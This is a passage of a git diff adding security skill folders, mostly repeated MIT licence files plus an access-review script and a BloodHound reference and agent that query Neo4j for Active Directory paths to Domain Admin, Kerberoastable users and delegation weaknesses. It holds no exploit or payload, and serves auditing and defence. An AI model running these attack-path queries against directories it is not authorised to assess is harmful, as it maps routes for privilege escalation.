get_campaign_details(args.url, headers, args.cert_key) + elif args.action == "pending" and args.cert_key: + get_pending_items(args.url, headers, args.cert_key) + elif args.action == "overdue": + check_overdue_campaigns(args.url, headers) + elif args.action == "full-audit": + campaigns = list_campaigns(args.url, headers) + overdue = check_overdue_campaigns(args.url, headers) + generate_report(campaigns, overdue, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-access-review-and-certification/LICENSE b/skills/performing-access-review-and-certification/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-access-review-and-certification/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-access-review-and-certification/references/api-reference.md b/skills/performing-access-review-and-certification/references/api-reference.md new file mode 100644 index 00000000..7f15ad4d --- /dev/null +++ b/skills/performing-access-review-and-certification/references/api-reference.md @@ -0,0 +1,40 @@ +# API Reference: Access Review and Certification + +## CSV Input Format +```csv +username,entitlement,application,manager,status,last_used,risk_score +jsmith,Admin,SAP,mjones,active,2025-01-15T00:00:00Z,8 +``` + +## SoD Rules JSON Format +```json +[{"name": "Finance SoD", "role_a": "AP_Approver", "role_b": "AP_Creator"}] +``` + +## Key Review Checks +| Check | Description | Severity | +|-------|-------------|----------| +| Orphaned accounts | No manager or terminated status | HIGH | +| SoD violations | Conflicting entitlements held | CRITICAL | +| Excessive access | Entitlement count above threshold | MEDIUM | +| Stale entitlements | Unused beyond retention period | MEDIUM | + +## Compliance Frameworks +| Framework | Requirement | +|-----------|-------------| +| SOX Section 404 | Periodic access reviews for financial systems | +| SOC 2 CC6.1 | Logical access controls and reviews | +| HIPAA 164.312(a) | Access authorization and review | +| PCI DSS 7.2 | Restrict access based on need-to-know | + +## Review Campaign Design +| Parameter | Best Practice | +|-----------|---------------| +| Frequency | Quarterly for privileged, semi-annual for standard | +| Reviewer | Direct manager + application owner | +| Escalation | Auto-revoke if no response within 14 days | +| Evidence | Export decisions with timestamps and reviewer ID | + +## References +- NIST SP 800-53 AC-6: https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final +- ISACA Access Review: https://www.isaca.org/ diff --git a/skills/performing-access-review-and-certification/scripts/agent.py b/skills/performing-access-review-and-certification/scripts/agent.py new file mode 100644 index 00000000..c619a687 --- /dev/null +++ b/skills/performing-access-review-and-certification/scripts/agent.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python3 +"""Agent for conducting access review and certification using identity governance APIs.""" + +import requests +import json +import argparse +import csv +from datetime import datetime, timezone, timedelta + + +def load_access_data(csv_path): + """Load access entitlement data from CSV export.""" + with open(csv_path) as f: + reader = csv.DictReader(f) + data = list(reader) + print(f"[*] Loaded {len(data)} entitlement records from {csv_path}") + return data + + +def identify_orphaned_accounts(records): + """Find accounts with no manager or terminated status.""" + findings = [] + for r in records: + if not r.get("manager") or r.get("status", "").lower() == "terminated": + findings.append({"user": r.get("username"), "status": r.get("status"), + "manager": r.get("manager", "NONE"), "severity": "HIGH", + "issue": "Orphaned/terminated account with active access"}) + print(f"\n[*] Orphaned/terminated accounts: {len(findings)}") + for f in findings[:10]: + print(f" [!] {f['user']} (status={f['status']}, manager={f['manager']})") + return findings + + +def check_sod_violations(records, sod_rules): + """Check for separation of duties violations.""" + user_entitlements = {} + for r in records: + user = r.get("username", "") + ent = r.get("entitlement", "") + user_entitlements.setdefault(user, set()).add(ent) + findings = [] + for user, ents in user_entitlements.items(): + for rule in sod_rules: + if rule["role_a"] in ents and rule["role_b"] in ents: + findings.append({"user": user, "conflict": f"{rule['role_a']} + {rule['role_b']}", + "severity": "CRITICAL", "rule": rule.get("name", "")}) + print(f"\n[*] SoD violations: {len(findings)}") + for f in findings[:10]: + print(f" [!] {f['user']}: {f['conflict']}") + return findings + + +def identify_excessive_access(records, threshold=10): + """Find users with entitlement counts above threshold.""" + user_counts = {} + for r in records: + user = r.get("username", "") + user_counts[user] = user_counts.get(user, 0) + 1 + excessive = [{"user": u, "count": c, "severity": "MEDIUM"} + for u, c in user_counts.items() if c > threshold] + excessive.sort(key=lambda x: -x["count"]) + print(f"\n[*] Users with >{threshold} entitlements: {len(excessive)}") + for e in excessive[:10]: + print(f" [!] {e['user']}: {e['count']} entitlements") + return excessive + + +def check_last_used(records, stale_days=90): + """Find entitlements not used within the stale period.""" + cutoff = datetime.now(timezone.utc) - timedelta(days=stale_days) + stale = [] + for r in records: + last_used = r.get("last_used", "") + if last_used: + try: + lu_dt = datetime.fromisoformat(last_used.replace("Z", "+00:00")) + if lu_dt < cutoff: + stale.append({"user": r.get("username"), "entitlement": r.get("entitlement"), + "last_used": last_used, "severity": "MEDIUM"}) + except ValueError: + pass + print(f"\n[*] Stale entitlements (>{stale_days} days unused): {len(stale)}") + return stale + + +def generate_report(orphaned, sod, excessive, stale, output_path): + """Generate access review report.""" + report = {"review_date": datetime.now(timezone.utc).isoformat(), + "summary": {"orphaned_accounts": len(orphaned), "sod_violations": len(sod), + "excessive_access": len(excessive), "stale_entitlements": len(stale)}, + "orphaned": orphaned, "sod_violations": sod, + "excessive_access": excessive[:50], "stale_entitlements": stale[:50]} + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + total = len(orphaned) + len(sod) + len(excessive) + len(stale) + print(f"\n[*] Report saved to {output_path} | Total findings: {total}") + + +def main(): + parser = argparse.ArgumentParser(description="Access Review and Certification Agent") + parser.add_argument("action", choices=["orphaned", "sod", "excessive", "stale", "full-review"]) + parser.add_argument("--data", required=True, help="CSV file with access entitlements") + parser.add_argument("--sod-rules", help="JSON file with SoD rules") + parser.add_argument("--threshold", type=int, default=10, help="Excessive access threshold") + parser.add_argument("--stale-days", type=int, default=90) + parser.add_argument("-o", "--output", default="access_review.json") + args = parser.parse_args() + + records = load_access_data(args.data) + sod_rules = [] + if args.sod_rules: + with open(args.sod_rules) as f: + sod_rules = json.load(f) + + if args.action == "orphaned": + identify_orphaned_accounts(records) + elif args.action == "sod": + check_sod_violations(records, sod_rules) + elif args.action == "excessive": + identify_excessive_access(records, args.threshold) + elif args.action == "stale": + check_last_used(records, args.stale_days) + elif args.action == "full-review": + o = identify_orphaned_accounts(records) + s = check_sod_violations(records, sod_rules) + e = identify_excessive_access(records, args.threshold) + st = check_last_used(records, args.stale_days) + generate_report(o, s, e, st, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-active-directory-bloodhound-analysis/LICENSE b/skills/performing-active-directory-bloodhound-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-active-directory-bloodhound-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-active-directory-bloodhound-analysis/references/api-reference.md b/skills/performing-active-directory-bloodhound-analysis/references/api-reference.md new file mode 100644 index 00000000..ccd92335 --- /dev/null +++ b/skills/performing-active-directory-bloodhound-analysis/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: BloodHound AD Attack Path Analysis + +## neo4j Python Driver +```python +from neo4j import GraphDatabase +driver = GraphDatabase.driver(uri, auth=(user, password)) +driver.verify_connectivity() +with driver.session() as session: + results = session.run(query, parameters) + records = [dict(record) for record in results] +driver.close() +``` + +## Key BloodHound Cypher Queries + +### Domain Admins +```cypher +MATCH (u:User)-[:MemberOf*1..]->(g:Group) +WHERE g.name STARTS WITH 'DOMAIN ADMINS' +RETURN u.name, u.enabled +``` + +### Shortest Path to DA +```cypher +MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group)) +WHERE g.name STARTS WITH 'DOMAIN ADMINS' +RETURN u.name, length(p) AS hops ORDER BY hops +``` + +### Kerberoastable Users +```cypher +MATCH (u:User) WHERE u.hasspn=true AND u.enabled=true +RETURN u.name, u.serviceprincipalnames +``` + +### Unconstrained Delegation +```cypher +MATCH (c:Computer) WHERE c.unconstraineddelegation=true +RETURN c.name, c.operatingsystem +``` + +## BloodHound Node Types +| Node | Properties | +|------|-----------| +| User | name, enabled, hasspn, admincount, owned, dontreqpreauth | +| Computer | name, operatingsystem, unconstraineddelegation, enabled | +| Group | name, admincount, objectid | +| GPO | name, gpcpath | +| OU | name, guid | + +## BloodHound Edge Types +| Edge | Meaning | +|------|---------| +| MemberOf | Group membership | +| AdminTo | Local admin rights | +| HasSession | Active session on computer | +| GenericAll | Full object control | +| WriteDacl | Can modify ACL | +| GpLink | GPO linked to OU | diff --git a/skills/performing-active-directory-bloodhound-analysis/scripts/agent.py b/skills/performing-active-directory-bloodhound-analysis/scripts/agent.py new file mode 100644 index 00000000..b81bd274 --- /dev/null +++ b/skills/performing-active-directory-bloodhound-analysis/scripts/agent.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python3 +"""BloodHound Attack Path Analysis Agent - Queries Neo4j for AD attack paths to Domain Admin.""" + +import json +import logging +import argparse +from datetime import datetime + +from neo4j import GraphDatabase + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def connect_neo4j(uri, username, password): + """Connect to Neo4j database containing BloodHound data.""" + driver = GraphDatabase.driver(uri, auth=(username, password)) + driver.verify_connectivity() + logger.info("Connected to Neo4j at %s", uri) + return driver + + +def find_domain_admins(driver): + """Find all members of the Domain Admins group.""" + query = ( + "MATCH (u:User)-[:MemberOf*1..]->(g:Group) " + "WHERE g.name STARTS WITH 'DOMAIN ADMINS' " + "RETURN u.name AS user, u.enabled AS enabled, u.lastlogon AS lastlogon" + ) + with driver.session() as session: + results = [dict(record) for record in session.run(query)] + logger.info("Found %d Domain Admin members", len(results)) + return results + + +def find_shortest_paths_to_da(driver, start_user=None): + """Find shortest attack paths from owned users to Domain Admin.""" + if start_user: + query = ( + "MATCH p=shortestPath((u:User {name: $user})-[*1..]->(g:Group)) " + "WHERE g.name STARTS WITH 'DOMAIN ADMINS' " + "RETURN p, length(p) AS hops" + ) + params = {"user": start_user} + else: + query = ( + "MATCH p=shortestPath((u:User {owned: true})-[*1..]->(g:Group)) " + "WHERE g.name STARTS WITH 'DOMAIN ADMINS' " + "RETURN u.name AS start, length(p) AS hops " + "ORDER BY hops ASC LIMIT 20" + ) + params = {} + with driver.session() as session: + results = [dict(record) for record in session.run(query, params)] + logger.info("Found %d attack paths to DA", len(results)) + return results + + +def find_kerberoastable_users(driver): + """Find users with SPNs set (Kerberoastable) that have paths to high-value targets.""" + query = ( + "MATCH (u:User) WHERE u.hasspn = true AND u.enabled = true " + "RETURN u.name AS user, u.serviceprincipalnames AS spns, " + "u.admincount AS admincount, u.pwdlastset AS pwdlastset" + ) + with driver.session() as session: + results = [dict(record) for record in session.run(query)] + logger.info("Found %d Kerberoastable users", len(results)) + return results + + +def find_asrep_roastable(driver): + """Find users with Kerberos pre-auth disabled (AS-REP Roastable).""" + query = ( + "MATCH (u:User) WHERE u.dontreqpreauth = true AND u.enabled = true " + "RETURN u.name AS user, u.enabled AS enabled" + ) + with driver.session() as session: + results = [dict(record) for record in session.run(query)] + logger.info("Found %d AS-REP Roastable users", len(results)) + return results + + +def find_unconstrained_delegation(driver): + """Find computers with unconstrained delegation enabled.""" + query = ( + "MATCH (c:Computer) WHERE c.unconstraineddelegation = true " + "RETURN c.name AS computer, c.operatingsystem AS os, c.enabled AS enabled" + ) + with driver.session() as session: + results = [dict(record) for record in session.run(query)] + logger.info("Found %d unconstrained delegation computers", len(results)) + return results + + +def find_local_admin_paths(driver, target_computer): + """Find users with local admin rights on a target computer.""" + query = ( + "MATCH p=(u:User)-[:AdminTo|MemberOf*1..]->(c:Computer {name: $computer}) " + "RETURN u.name AS user, length(p) AS hops " + "ORDER BY hops ASC LIMIT 50" + ) + with driver.session() as session: + results = [dict(record) for record in session.run(query, {"computer": target_computer})] + logger.info("Found %d users with admin access to %s", len(results), target_computer) + return results + + +def find_gpo_attack_paths(driver): + """Find GPO-based attack paths that could lead to privilege escalation.""" + query = ( + "MATCH (g:GPO)-[:GpLink]->(ou:OU)-[:Contains*1..]->(c:Computer) " + "MATCH (u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(g) " + "WHERE u.enabled = true " + "RETURN u.name AS user, g.name AS gpo, c.name AS affected_computer " + "LIMIT 50" + ) + with driver.session() as session: + results = [dict(record) for record in session.run(query)] + logger.info("Found %d GPO attack paths", len(results)) + return results + + +def assess_ad_risk(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths): + """Calculate overall AD security risk score.""" + score = 0 + if len(paths) > 0: + score += 30 + if len(kerberoastable) > 5: + score += 20 + if len(asrep) > 0: + score += 15 + if len(unconstrained) > 1: + score += 15 + if len(gpo_paths) > 0: + score += 20 + risk = "Critical" if score >= 60 else "High" if score >= 40 else "Medium" if score >= 20 else "Low" + return {"score": score, "risk_level": risk} + + +def generate_report(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths, risk): + """Generate BloodHound analysis report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "domain_admins": da_members, + "attack_paths_to_da": paths[:20], + "kerberoastable_users": kerberoastable, + "asrep_roastable": asrep, + "unconstrained_delegation": unconstrained, + "gpo_attack_paths": gpo_paths[:20], + "risk_assessment": risk, + } + print(f"BLOODHOUND REPORT: Risk={risk['risk_level']} Score={risk['score']}") + return report + + +def main(): + parser = argparse.ArgumentParser(description="BloodHound Attack Path Analysis Agent") + parser.add_argument("--neo4j-uri", default="bolt://localhost:7687") + parser.add_argument("--neo4j-user", default="neo4j") + parser.add_argument("--neo4j-password", required=True) + parser.add_argument("--start-user", help="Specific user to find paths from") + parser.add_argument("--output", default="bloodhound_report.json") + args = parser.parse_args() + + driver = connect_neo4j(args.neo4j_uri, args.neo4j_user, args.neo4j_password) + da_members = find_domain_admins(driver) + paths = find_shortest_paths_to_da(driver, args.start_user) + kerberoastable = find_kerberoastable_users(driver) + asrep = find_asrep_roastable(driver) + unconstrained = find_unconstrained_delegation(driver) + gpo_paths = find_gpo_attack_paths(driver) + risk = assess_ad_risk(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths) + + report = generate_report(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths, risk) + driver.close() + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-active-directory-compromise-investigation/LICENSE b/skills/performing-active-directory-compromise-investigation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-active-directory-compromise-investigation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-active-directory-penetration-test/LICENSE b/skills/performing-active-directory-penetration-test/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-active-directory-penetration-test/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-active-directory-vulnerability-assessment/LICENSE b/skills/performing-active-directory-vulnerability-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-active-directory-vulnerability-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-adversary-in-the-middle-phishing-detection/LICENSE b/skills/performing-adversary-in-the-middle-phishing-detection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-adversary-in-the-middle-phishing-detection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-agentless-vulnerability-scanning/LICENSE b/skills/performing-agentless-vulnerability-scanning/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-agentless-vulnerability-scanning/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-alert-triage-with-elastic-siem/LICENSE b/skills/performing-alert-triage-with-elastic-siem/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-alert-triage-with-elastic-siem/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-android-app-static-analysis-with-mobsf/LICENSE b/skills/performing-android-app-static-analysis-with-mobsf/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-android-app-static-analysis-with-mobsf/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-api-fuzzing-with-restler/LICENSE b/skills/performing-api-fuzzing-with-restler/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-api-fuzzing-with-restler/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-api-inventory-and-discovery/LICENSE b/skills/performing-api-inventory-and-discovery/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-api-inventory-and-discovery/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-api-rate-limiting-bypass/LICENSE b/skills/performing-api-rate-limiting-bypass/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-api-rate-limiting-bypass/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-api-security-testing-with-postman/LICENSE b/skills/performing-api-security-testing-with-postman/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-api-security-testing-with-postman/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following 